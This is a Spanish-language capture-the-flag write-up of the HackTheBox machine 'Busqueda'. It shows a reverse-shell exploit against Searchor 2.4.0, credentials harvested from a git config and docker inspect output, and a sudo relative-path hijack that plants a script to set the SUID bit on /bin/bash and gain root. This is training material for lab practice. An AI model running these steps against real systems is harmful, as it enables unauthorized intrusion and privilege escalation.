Busqueda es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Busqueda 10.10.11.208 a /etc/hosts como busqueda.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 |
nmap -sV -oA enumeration/nmap 10.10.11.208 Nmap scan report for 10.10.11.208 Host is up (0.042s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu May 25 14:10:17 2023 -- 1 IP address (1 host up) scanned in 8.31 seconds |
Sólo encontramos dos puertos así que vamos a ver que página web nos encontramos, añadiremos antes el dominio searcher.htb a nuestro fichero hosts.
Enumeración
Accedemos al portal web en el dominio encontrado y vemos la siguiente página web
Revisamos la página y se trata de una herramienta para la búsqueda en diferentes motores de búsqueda llamada Searchor y encontramos también la versión de la misma, siendo la 2.4.0, así que buscamos en google y encontramos una vulnerabilidad de ejecución arbitraria de código y un exploit en github.
Así que abrimos una escucha en el puerto 9001 y ejecutamos el exploit
1 2 3 4 5 |
$ ./searchor-exploit.sh searcher.htb 10.10.14.9 ---[Reverse Shell Exploit for Searchor 2.4.0]--- [*] Input target is searcher.htb [*] Input attacker is 10.10.14.9:9001 [*] Run the Reverse Shell... Press Ctrl+C after successful connection |
Y obtenemos acceso en nuestra escucha con el usuario svc
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 9001 listening on [any] 9001 ... connect to [10.10.14.9] from busqueda.htb [10.10.11.208] 57520 bash: cannot set terminal process group (1768): Inappropriate ioctl for device bash: no job control in this shell svc@busqueda:/var/www/app$ id id uid=1000(svc) gid=1000(svc) groups=1000(svc) svc@busqueda:/var/www/app$ |
Obteniendo la flag de user
Nos vamos a la home del usuario y ya tenemos la primera flag
1 2 3 |
svc@busqueda:~$ cat user.txt cat user.txt 5axxxxxxxxxxxxxxxxxxxxa00 |
Escalado de privilegios
Para facilitar la tarea de enumeración obtenemos una shell en condiciones con python
1 2 3 |
svc@busqueda:/opt/scripts$ python3 -c 'import pty;pty.spawn("/bin/bash");' python3 -c 'import pty;pty.spawn("/bin/bash");' svc@busqueda:/opt/scripts$ |
Y buscamos en la máquina, encontrando el subdominio de gitea.searcher.htb en la configuración del nginx
Revisamos el código fuente de la aplicación de gitea y encontramos un directorio .git y dentro del mismo unas credenciales
1 2 3 4 5 6 7 8 9 10 11 12 13 |
svc@busqueda:/var/www/app/.git$ cat config cat config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "main"] remote = origin merge = refs/heads/main |
Probamos si son del usuario svc y bingo
1 2 3 4 5 6 7 8 9 10 11 12 |
svc@busqueda:/var/www/app/.git$ sudo -l sudo -l [sudo] password for svc: jh1usoih2bkjaspwe92 Matching Defaults entries for svc on busqueda: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User svc may run the following commands on busqueda: (root) /usr/bin/python3 /opt/scripts/system-checkup.py * svc@busqueda:/var/www/app/.git$ |
Hacemos una ejecución simple y vemos la ayuda del script
1 2 3 4 5 6 7 |
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py test <3 /opt/scripts/system-checkup.py test Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2) docker-ps : List running docker containers docker-inspect : Inpect a certain docker container full-checkup : Run a full system checkup |
Ejecutamos el full-checkup y nos da un error
1 2 3 |
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup <python3 /opt/scripts/system-checkup.py full-checkup Something went wrong |
Continuamos mirando que contenedores hay levantados
1 2 3 4 5 6 |
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps <in/python3 /opt/scripts/system-checkup.py docker-ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 4 months ago Up 19 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 4 months ago Up 19 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db |
E inspeccionamos los mismos, obteniendo las credenciales del usuario administrator
1 2 3 4 5 6 7 |
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' gitea <py docker-inspect --format='{{json .Config}}' gitea --format={"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}} svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' mysql_db <docker-inspect --format='{{json .Config}}' mysql_db --format={"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}} |
No hay un usuario administrator en la máquina, así que vamos a loguearnos en el portal de gitea y observamos el repositorio de dicho usuario, donde se encuentran los scripts que vimos antes
Así que revisamos el script de system-checkup, sobre el cual teníamos permisos de root, y su contenido es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 |
#!/bin/bash import subprocess import sys actions = ['full-checkup', 'docker-ps','docker-inspect'] def run_command(arg_list): r = subprocess.run(arg_list, capture_output=True) if r.stderr: output = r.stderr.decode() else: output = r.stdout.decode() return output def process_action(action): if action == 'docker-inspect': try: _format = sys.argv[2] if len(_format) == 0: print(f"Format can't be empty") exit(1) container = sys.argv[3] arg_list = ['docker', 'inspect', '--format', _format, container] print(run_command(arg_list)) except IndexError: print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>") exit(1) except Exception as e: print('Something went wrong') exit(1) elif action == 'docker-ps': try: arg_list = ['docker', 'ps'] print(run_command(arg_list)) except: print('Something went wrong') exit(1) elif action == 'full-checkup': try: arg_list = ['./full-checkup.sh'] print(run_command(arg_list)) print('[+] Done!') except: print('Something went wrong') exit(1) if __name__ == '__main__': try: action = sys.argv[1] if action in actions: process_action(action) else: raise IndexError except IndexError: print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)') print('') print(' docker-ps : List running docker containers') print(' docker-inspect : Inpect a certain docker container') print(' full-checkup : Run a full system checkup') print('') exit(1) |
Y vemos una línea muy interesante
1 |
arg_list = ['./full-checkup.sh'] |
La opción de full-checkup carga el script full-checkup.sh en el directorio en el cual se está ejecutando, así que será el punto débil a explotar.
Nos vamos al directorio /opt/scripts donde está el fichero y probamos su ejecución
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup <python3 /opt/scripts/system-checkup.py full-checkup [=] Docker conteainers { "/gitea": "running" } { "/mysql_db": "running" } [=] Docker port mappings { "22/tcp": [ { "HostIp": "127.0.0.1", "HostPort": "222" } ], "3000/tcp": [ { "HostIp": "127.0.0.1", "HostPort": "3000" } ] } [=] Apache webhosts [+] searcher.htb is up [+] gitea.searcher.htb is up [=] PM2 processes ┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐ │ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │ ├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤ │ 0 │ app │ default │ N/A │ fork │ 1768 │ 18h │ 0 │ online │ 0% │ 28.8mb │ svc │ disabled │ └─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘ [+] Done! svc@busqueda:/opt/scripts$ |
Y tal y como se esperaba funciona. Visto el funcionamiento, nos vamos a cualquier directorio donde podamos escribir, creamos nuestro script y le damos permisos de ejecución
1 2 3 4 5 6 7 |
svc@busqueda:/tmp$ cat full-checkup.sh cat full-checkup.sh #!/bin/bash chmod +s /bin/bash svc@busqueda:/tmp$ chmod +x full-checkup.sh chmod +x full-checkup.sh |
Acto seguido ejecutamos
1 2 3 4 |
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup <python3 /opt/scripts/system-checkup.py full-checkup [+] Done! |
Y ya podremos escalar a root.
Obteniendo la flag de root
Así que el siguiente paso será escalar a root y conseguir nuestra flag
1 2 3 4 5 6 7 8 9 |
svc@busqueda:/tmp$ bash -p bash -p bash-5.1# id id uid=1000(svc) gid=1000(svc) euid=0(root) egid=0(root) groups=0(root) bash-5.1# bash-5.1# cat /root/root.txt cat /root/root.txt b8bxxxxxxxxxxxxxxxxxxxxxxxxxx55a |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace